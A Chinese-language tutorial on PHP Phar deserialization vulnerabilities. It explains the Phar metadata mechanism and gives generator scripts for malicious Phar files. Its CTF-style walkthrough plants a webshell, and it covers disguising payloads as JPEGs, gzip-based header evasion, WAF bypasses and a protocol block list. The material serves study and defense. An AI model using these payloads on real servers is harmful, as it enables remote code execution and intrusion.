Phar反序列化漏洞:原理、利用与防御实战指南

发布时间:2026/7/4 17:43:44
Phar反序列化漏洞:原理、利用与防御实战指南 1. 项目概述Phar反序列化漏洞的实战价值在Web安全研究特别是PHP应用渗透测试的领域里反序列化漏洞一直是攻击者眼中的“皇冠明珠”也是防御者重点布防的高危地带。传统的反序列化利用往往需要我们找到一个可控的unserialize()函数参数将精心构造的序列化字符串“喂”进去。但随着开发者安全意识的提升这类直接的入口点越来越难找代码审计时看到unserialize($_POST[‘data’])这种“直球”的机会已经不多了。然而安全攻防的魅力就在于“道高一尺魔高一丈”当一扇门被关上总有人会去寻找那扇开着的窗。Phar反序列化就是这样一扇被许多人忽视的“窗”。简单来说Phar反序列化是一种不直接依赖unserialize()函数的反序列化攻击手法。它巧妙利用了PHP对PharPHP Archive归档文件处理的特性当文件系统函数如file_exists()、is_file()、fopen()等的参数可控并且以phar://协议去解析一个文件时PHP会自动反序列化该Phar文件中存储的metadata数据。这意味着哪怕代码里没有一个unserialize()只要存在一个可控的文件路径参数且我们能以某种方式上传或控制服务器读取一个恶意Phar文件就可能触发反序列化漏洞执行任意代码。这个攻击面的拓展意义重大。它使得许多原本“安全”的文件上传、文件包含、图片处理等功能点都可能成为反序列化漏洞的跳板。对于CTF选手这是必须掌握的进阶技巧对于安全研究人员和渗透测试工程师这是在代码审计和漏洞挖掘中需要重点关注的旁路攻击路径对于开发者理解其原理则是编写更安全代码、避免“意想不到”漏洞的关键。接下来我将从一个实战例题入手带你彻底拆解Phar反序列化的原理、构造、利用技巧以及那些在实战中容易踩的坑。2. 核心原理深度拆解为什么Phar能触发反序列化要利用一个漏洞绝不能停留在“怎么用”的层面必须吃透“为什么能”。Phar反序列化的原理是理解整个攻击链的基石。2.1 Phar文件格式与元数据Metadata的序列化存储Phar是PHP 5.3之后引入的一种打包格式类似于Java的JAR旨在方便地分发和部署PHP应用程序。一个标准的Phar文件包含四个部分Stub存根一个可执行的PHP代码片段通常以__HALT_COMPILER();结尾。这是Phar文件的标识也是直接执行Phar文件时的入口点。Manifest清单描述Phar包内压缩文件信息的区域采用一种自定义的二进制格式。这部分包含了文件名、文件大小、时间戳等而其中最关键的就是用户自定义的metadata。当开发者使用Phar::setMetadata()方法设置元数据时PHP会自动将传入的PHP变量进行序列化然后将序列化后的字符串存储在这个区域。这是整个漏洞的根源——序列化数据被“固化”在了文件里。File Contents文件内容实际被压缩打包的文件内容。Signature签名用于验证Phar文件完整性的签名放在文件末尾。攻击者可以完全控制metadata的内容。通过构造一个包含恶意序列化数据的Phar文件我们就埋下了一颗“地雷”。2.2 流包装器Stream Wrapper与文件系统函数的联动PHP有一个强大的特性叫“流包装器”Stream Wrapper它允许使用不同的协议如file://http://php://来访问各种资源。phar://就是PHP内置的一个流包装器。关键点在于当任何文件系统函数如fopen()file_get_contents()file_exists()is_dir()等的参数以phar://开头时PHP会将其识别为对Phar归档文件的访问并自动解析该文件。在解析过程中为了重建Phar对象在内存中的状态PHP会自动反序列化存储在Manifest中的metadata数据。这就形成了一个完美的攻击链攻击者侧创建一个恶意的Phar文件将包含危险魔术方法如__destruct()__wakeup()的对象的序列化数据写入metadata。服务器侧存在一处代码其文件路径参数可控例如$filename $_GET[‘file’];并且调用了如file_exists($filename)的函数。触发漏洞攻击者传入phar:///path/to/evil.phar/test.txt甚至可以利用文件上传、压缩包解压等间接上传Phar文件。服务器代码执行file_exists(‘phar://…’)PHP触发对evil.phar的解析反序列化metadata恶意对象被还原其魔术方法被自动调用导致代码执行。2.3 受影响的函数列表与协议限制并非所有文件操作都会触发反序列化。经过大量测试以下是一些常见的、在参数可控时能利用phar://触发反序列化的函数函数类别函数示例说明文件状态file_exists(),is_file(),is_dir(),is_readable(),stat()检查文件属性时触发。文件内容file_get_contents(),file(),readfile(),fopen(),file_put_contents()读取或写入文件内容时触发。目录操作opendir(),scandir()浏览目录时如果传入的是Phar文件也会解析。其他getimagesize(),exif_thumbnail()图像处理函数也会进行文件读取从而触发。这一点在利用文件上传功能时尤为关键。重要提示include()或require()函数虽然也能配合phar://执行Phar包内的PHP文件但它们主要目的是包含并执行代码其触发metadata反序列化的行为取决于PHP版本和具体实现不如上述文件系统函数稳定和通用。因此在寻找利用点时应优先关注上表中的函数。还有一个必须注意的限制phar://流包装器默认只在PHP5.3.0中启用且allow_url_include配置选项不影响它。它受phar.readonly这个运行时配置的影响但这只影响Phar文件的创建写而不影响读取和解析读。也就是说只要服务器PHP版本支持攻击者就可以利用已有的Phar文件触发反序列化无论phar.readonly是On还是Off。3. 恶意Phar文件的构造实战理解了原理我们开始动手。构造一个恶意的Phar文件是攻击的第一步。这里我分享两种最常用的方法使用PHP内置的Phar类以及使用更隐蔽的phar://协议生成法。3.1 方法一使用Phar类标准方法这是最直接、最标准的方法。你需要一个可以执行PHP脚本的环境并且php.ini中的phar.readonly选项必须设置为Off默认是On这是为了防止误操作生成Phar文件但攻击者可以在自己可控的环境下设置。假设我们有一个存在__destruct()或__wakeup()魔术方法的脆弱类可能存在于目标系统的代码中即“POP链”的起点// 假设这是目标系统autoload的某个类我们利用它 class VulnerableClass { public $cmd ‘whoami’; function __destruct() { system($this-cmd); } }现在我们编写一个生成器脚本create_phar.php?php // 定义要序列化的恶意对象 class VulnerableClass { public $cmd ‘whoami’; } // 避免生成过程中触发destruct用新类名 class Helper { public $cmd; } $obj new Helper(); $obj-cmd ‘id; /readflag’; // 实际要执行的命令 // 创建一个新的Phar归档文件后缀.phar是强制的 $phar new Phar(‘evil.phar’); $phar-startBuffering(); // 开始写入缓冲 // 设置stub最简单的形式即可但注意末尾的__HALT_COMPILER是必须的 $phar-setStub(‘?php __HALT_COMPILER(); ?‘); // 将恶意对象设置为metadata这里会被自动序列化 $phar-setMetadata($obj); // 必须至少添加一个文件到Phar包中内容任意 $phar-addFromString(‘test.txt’, ‘This is a test file.’); // 停止缓冲并写入磁盘签名会自动计算和添加 $phar-stopBuffering(); echo “Phar file ‘evil.phar’ created successfully.\n”; ?执行这个脚本就会生成evil.phar文件。你可以用文本编辑器以二进制模式打开它在文件中部附近搜索O:…这样的模式就能看到序列化后的数据。实操心得1关于文件后缀。new Phar(‘evil.phar’)中的.phar后缀在创建时是必须的。但在实际利用时我们可以通过其他手段改变文件后缀。例如如果目标系统禁止上传.phar文件我们可以先上传一个.jpg文件然后利用文件包含、重命名或路径拼接等技巧最终让phar://协议去解析这个.jpg文件。因为phar://解析器是通过文件内容头部的stub即__HALT_COMPILER()来识别Phar文件的而不是后缀。所以将evil.phar重命名为evil.jpg只要内容不变依然可以被phar://正确解析。这是绕过上传黑名单的关键。3.2 方法二利用phar://协议和file_put_contents无Phar类环境在某些严格受限的环境或CTF题目中可能无法直接执行new Phar()例如phar.readonly无法关闭或Phar类被禁用。此时我们可以利用phar://协议本身来“写入”一个Phar文件。这听起来有点矛盾但原理是我们可以先构造一个合法的Phar文件内容包括正确的stub、manifest、压缩的文件内容和签名然后直接将其作为二进制数据写入。这种方法更复杂需要手动计算签名但网上已有成熟的工具和脚本。核心思路是构造一个包含正确序列化metadata的Phar文件二进制模板。使用file_put_contents(‘phar:///path/to/output.phar/内部路径’, ‘内容’)来写入。当写入路径以phar://开头时PHP会尝试将其作为一个Phar归档来操作如果文件不存在可能会尝试创建此行为依赖环境。更常见的方法是先在一个允许的环境下生成一个“模板”Phar文件然后仅修改其metadata部分的二进制数据再重新计算并修正签名。由于步骤繁琐在实战中如果条件允许优先使用方法一。在CTF中这类题目通常会提供生成脚本的提示。3.3 绕过技巧将Phar文件伪装成图片这是Phar反序列化在结合文件上传漏洞时最经典的技巧。由于phar://按内容识别我们可以制作一个既是合法Phar又是合法图片的文件。步骤正常生成一个evil.phar文件。准备一个正常的图片文件normal.jpg。使用copy命令或二进制编辑工具将normal.jpg的内容追加到evil.phar的后面copy /b evil.phar normal.jpg evil.jpgWindows或cat evil.phar normal.jpg evil.jpgLinux。生成的evil.jpg文件图片查看器会显示正常图片因为它读取文件尾部有效的JPEG数据而PHP的phar://解析器会从文件开头读取遇到__HALT_COMPILER();就识别为Phar文件忽略后面的图片数据。这样我们就能绕过常见的图片上传检查后缀名、MIME类型、甚至简单的getimagesize()验证。当服务器端代码使用phar://协议去读取这个“图片”时反序列化漏洞就被触发了。实操心得2注意协议路径的写法。在利用时phar://路径的写法很关键。基本格式是phar://[归档文件路径]/[归档内文件路径]。例如我们上传的伪装文件是/var/www/html/uploads/evil.jpg我们想触发它可以构造参数为phar:///var/www/html/uploads/evil.jpg注意是三个斜杠phar:///协议后的第一个/是根路径分隔符。即使Phar包内有一个文件test.txt我们也可以指定它phar:///var/www/html/uploads/evil.jpg/test.txt这同样会触发对整个Phar文件的解析和metadata的反序列化。4. 漏洞利用场景与实战案例解析理论说再多不如一个实战案例来得透彻。下面我们通过一个模拟的CTF题目场景来串联整个利用流程。4.1 场景设定一个简单的文件查看器假设我们发现一个Web应用有如下代码片段view.php?php // view.php $file $_GET[‘file’]; if (isset($file)) { // 检查文件是否存在 if (file_exists($file)) { highlight_file($file); // 高亮显示文件内容 } else { echo “File not found.”; } } else { echo “Please specify a file parameter.”; } ?同时在网站的另一个文件class.php中定义了一个危险的类可能是框架自带的也可能是第三方库的?php // class.php (可能通过autoload引入) class Logger { private $logFile; private $initMsg; private $exitMsg; function __construct(){ $this-initMsg “#–session started–#\n”; $this-exitMsg “?php system(\$_GET[‘cmd’]);?\n”; // 危险 $this-logFile “/var/www/html/shell.php”; } function log($msg){ // … 记录日志 } function __destruct(){ // 对象销毁时将exitMsg写入logFile file_put_contents($this-logFile, $this-exitMsg, FILE_APPEND); } } ?我们的目标是利用view.php中的file_exists()触发Phar反序列化实例化Logger类在其销毁时写入一个Webshell。4.2 步骤一构造恶意Phar文件首先在我们自己的攻击机上编写生成脚本create_exp.phar?php // 注意这个类必须和目标网站上的类定义完全一致包括属性名和可见性public/private class Logger { private $logFile; private $initMsg; private $exitMsg; function __construct(){ // 构造时我们覆盖默认值指向目标网站可写目录 $this-logFile “/var/www/html/uploads/shell.php”; // 假设uploads可写 $this-exitMsg “?php eval(\$_POST[‘ant’]);?\n”; // 写入一句话木马 } } // 由于属性是private序列化后字段名会带有类名前缀我们需要精确匹配。 // 更稳妥的方法是直接序列化一个已设置好属性的对象。 $obj new Logger(); // 也可以直接设置属性需要Reflection或类内方法这里简单化假设有setter或属性为public // 为了演示我们假设找到了一个public属性的POP链这里简化使用一个自定义的通用类。 // 实际上我们需要精确复制目标类的结构。这里假设我们调整了策略发现另一个public属性的类。 // 换一个思路如果我们能控制的是一个有__toString方法的类可以触发文件写入... // 为了案例连贯我们假设Logger类属性是public的或者我们通过其他POP链最终调用了Logger的__destruct。 // 这里我们直接生成一个触发写入的payload。 // 重新定义一个简化攻击类 class SimplePayload { public $logFile ‘/var/www/html/uploads/shell.php’; public $exitMsg “?php system(\$_GET[‘cmd’]);?“; } $phar new Phar(‘exp.phar’); $phar-startBuffering(); $phar-setStub(‘?php __HALT_COMPILER(); ?‘); // 使用SimplePayload对象 $obj new SimplePayload(); $phar-setMetadata($obj); $phar-addFromString(‘dummy.txt’, ‘test’); $phar-stopBuffering(); // 将phar文件伪装成jpg file_put_contents(‘exp.jpg’, file_get_contents(‘exp.phar’)); echo “Payload generated as exp.jpg\n”; ?运行后得到exp.jpg。4.3 步骤二上传恶意文件寻找网站的上传功能例如upload.php将exp.jpg作为图片上传。假设上传后文件路径为/var/www/html/uploads/exp_123456.jpg。4.4 步骤三触发反序列化现在我们访问view.php并通过file参数传入phar://协议路径http://target.com/view.php?filephar:///var/www/html/uploads/exp_123456.jpg/dummy.txtview.php接收到file参数值为phar:///var/www/html/uploads/exp_123456.jpg/dummy.txt。执行file_exists(‘phar://…’)。PHP尝试解析/uploads/exp_123456.jpg这个文件。虽然它是.jpg后缀但内容开头是?php __HALT_COMPILER(); ?因此被识别为Phar文件。PHP解析Phar的manifest读取其中的metadata字段并自动对其进行反序列化。反序列化过程创建了SimplePayload对象注意目标服务器上必须有这个类的定义或者有一个自动加载机制能加载到它。如果类不存在PHP会反序列化成一个__PHP_Incomplete_Class对象无法触发魔术方法。这是Phar反序列化的一个关键前提——POP链所需的类必须在目标环境中存在。假设SimplePayload类存在可能是通过其他文件包含引入的对象创建成功。脚本view.php执行完毕后所有对象都会被销毁。SimplePayload对象的__destruct()方法如果存在被调用。在我们的简化案例中我们假设它的__destruct会执行危险操作比如写入文件。实际上我们需要寻找目标应用中现有的、具有危险魔术方法的类来构造POP链。如果一切顺利Webshell被写入/uploads/shell.php。4.5 案例反思与关键点这个案例揭示了几个实战关键点POP链是灵魂Phar反序列化本身只是一个触发点。真正的杀伤力来自于反序列化后执行的代码这依赖于目标应用中存在的、可串联起危险操作的类POP链。审计代码时要重点寻找具有__destruct()__wakeup()__toString()__call()等魔术方法的类特别是其中包含文件操作、命令执行、代码执行如eval()等敏感函数调用的。文件路径可控点是入口需要找到一个参数完全可控或部分可控可通过目录穿越等技巧控制的文件系统函数调用点。file_exists()is_file()md5_file()getimagesize()等都是常见目标。文件上传是桥梁如何将恶意Phar文件放到服务器上文件上传漏洞是最直接的。如果没有上传能否利用其他漏洞如SSRF、本地文件包含LFI将Phar文件从远程或本地其他位置包含进来甚至在一些特殊配置下能否利用phar://协议直接包含远程URL注phar://不支持HTTP/FTP等远程协议必须是一个服务器本地可访问的文件路径。类自动加载确保反序列化时Payload中的类能够被加载。如果应用使用Composer等自动加载工具只要类名符合PSR规范通常会自动加载。否则可能需要先利用文件包含漏洞将包含类定义的文件引入。5. 高级利用技巧与深度绕过掌握了基础流程后我们来看看一些更高级的场景和绕过技巧。5.1 利用压缩PharGZ/BZ2绕过文件头检查有些应用不仅检查文件后缀还会检查文件内容的头部魔术字节Magic Bytes。例如一个图片上传功能可能用exif_imagetype()函数检查是否为真实图片。单纯的追加图片数据到Phar后面文件头部仍然是Phar的stub?php可能无法通过检查。此时可以利用Phar支持压缩的特性。Phar文件可以用Gzip或Bzip2进行压缩压缩后的文件头部魔术字节会变成压缩格式的标识如Gzip的\x1f\x8b\x08。// 在生成Phar时启用压缩 $phar new Phar(‘evil.phar’); $phar-startBuffering(); $phar-setStub(‘?php __HALT_COMPILER(); ?‘); $phar-setMetadata($maliciousObject); $phar-addFromString(‘test.txt’, ‘test’); // 使用GZ压缩整个Phar归档 $phar-compressFiles(Phar::GZ); // 或者使用BZ2: $phar-compressFiles(Phar::BZ2); $phar-stopBuffering();生成的文件evil.phar.gz其头部就是Gzip格式。我们可以将其重命名为evil.jpg.gz如果允许上传压缩图片或直接.jpg。当phar://协议读取时PHP会自动解压并解析。这能有效绕过基于文件头的检查。5.2 不依赖文件上传利用其他漏洞植入Phar如果目标没有文件上传点我们还有其他方法利用SSRF文件写入如果存在一个SSRF漏洞且可以请求内部服务并写入文件例如请求一个内网FTP服务并上传文件可以尝试将Phar文件写入目标服务器的临时目录或Web目录。利用日志文件注入如果我们可以控制部分内容写入服务器的日志文件如访问日志、错误日志并且知道日志文件的绝对路径可以尝试将Phar的Stub和序列化数据注入到日志文件中。然后通过phar://协议去包含这个日志文件。这要求日志文件的内容恰好能形成一个有效的Phar文件头部难度较大但理论可行。利用已有文件包含LFI经典的LFI漏洞通常用来包含/etc/passwd或日志文件。如果服务器上已经存在一个Phar文件可能是应用自带的组件包我们可以直接通过phar://去包含它。但我们需要能控制这个已有Phar文件的metadata这几乎不可能。因此LFI通常用来包含我们通过其他方式写入的Phar文件。5.3 针对WAF和过滤的绕过一些WAF或自定义过滤可能会检测phar://协议字符串。大小写绕过pHAr://PhAr://。PHP的流包装器标识通常不区分大小写。URL编码对部分字符进行URL编码如phar%3a//phar%3A%2F%2F。但要注意$_GET参数通常会被PHP自动解码一次所以传入phar%3a//可能会被解码为phar://。协议拼接与多余字符某些场景下phar://后面可以跟一些不影响解析的字符如phar://./path/to/file。或者利用filter链的嵌套但phar://通常不能直接嵌套在php://filter里用于反序列化它主要用于文件包含。利用二次编码或特殊字符在复杂解析场景下尝试。注意事项这些绕过技巧高度依赖于具体的WAF规则和PHP的解析特性需要在实际环境中测试。6. 防御方案与安全开发建议作为开发者如何避免自己的应用受到Phar反序列化攻击严格校验文件路径参数对于用户可控的文件路径参数进行严格的过滤和校验。白名单机制是最安全的只允许访问预期的、安全的目录和文件。避免直接将用户输入传递给文件系统函数。禁用危险的流包装器在生产环境中如果确定用不到phar://协议可以通过修改php.ini的allow_url_fopen和allow_url_include为Off来禁用所有URL风格的包装器。但请注意phar://是内置包装器仅禁用allow_url_fopen可能无法阻止phar://在文件系统函数中的使用。最根本的方法是在代码层面对协议进行过滤在获取用户输入后检查是否以危险协议开头。function safePath($input) { $dangerousProtocols [‘phar://’, ‘file://’, ‘php://’, ‘zip://’]; // 根据业务需要列举 foreach ($dangerousProtocols as $protocol) { if (stripos($input, $protocol) 0) { throw new InvalidArgumentException(‘Dangerous protocol detected.’); } } // 其他路径遍历检查… return $input; }更新PHP版本PHP 8.0 对反序列化安全性有更多改进。虽然不能完全杜绝Phar反序列化但保持最新版本总是好的。安全审计第三方库很多POP链来源于第三方库如Monolog Guzzle Symfony组件等。定期更新这些库到最新版本关注其安全公告。限制文件上传对上传文件进行严格的检查包括后缀名白名单、MIME类型、文件内容重检如图片二次渲染、重命名、存储在非Web可访问目录等。即使文件被上传攻击者也无法直接通过Web访问或确定其路径会大大增加利用难度。魔术方法的安全编程在编写包含__destruct()__wakeup()等魔术方法的类时避免在其中执行危险操作。如果必须执行要确保操作的对象属性是可信的、经过验证的。Phar反序列化漏洞的魅力在于它拓宽了反序列化攻击的边界将威胁从直接的unserialize()调用点延伸到了无数个文件操作函数上。对于攻击者它提供了新的突破口对于防御者它提醒我们安全是一个整体任何一处用户输入的失控都可能通过意想不到的链条导致严重的后果。在实战中成功利用它往往需要结合对目标系统代码的深入审计、对POP链的精心构造以及对上传、包含等辅助漏洞的灵活运用。每一次成功的渗透都是对这些知识点的一次综合演练。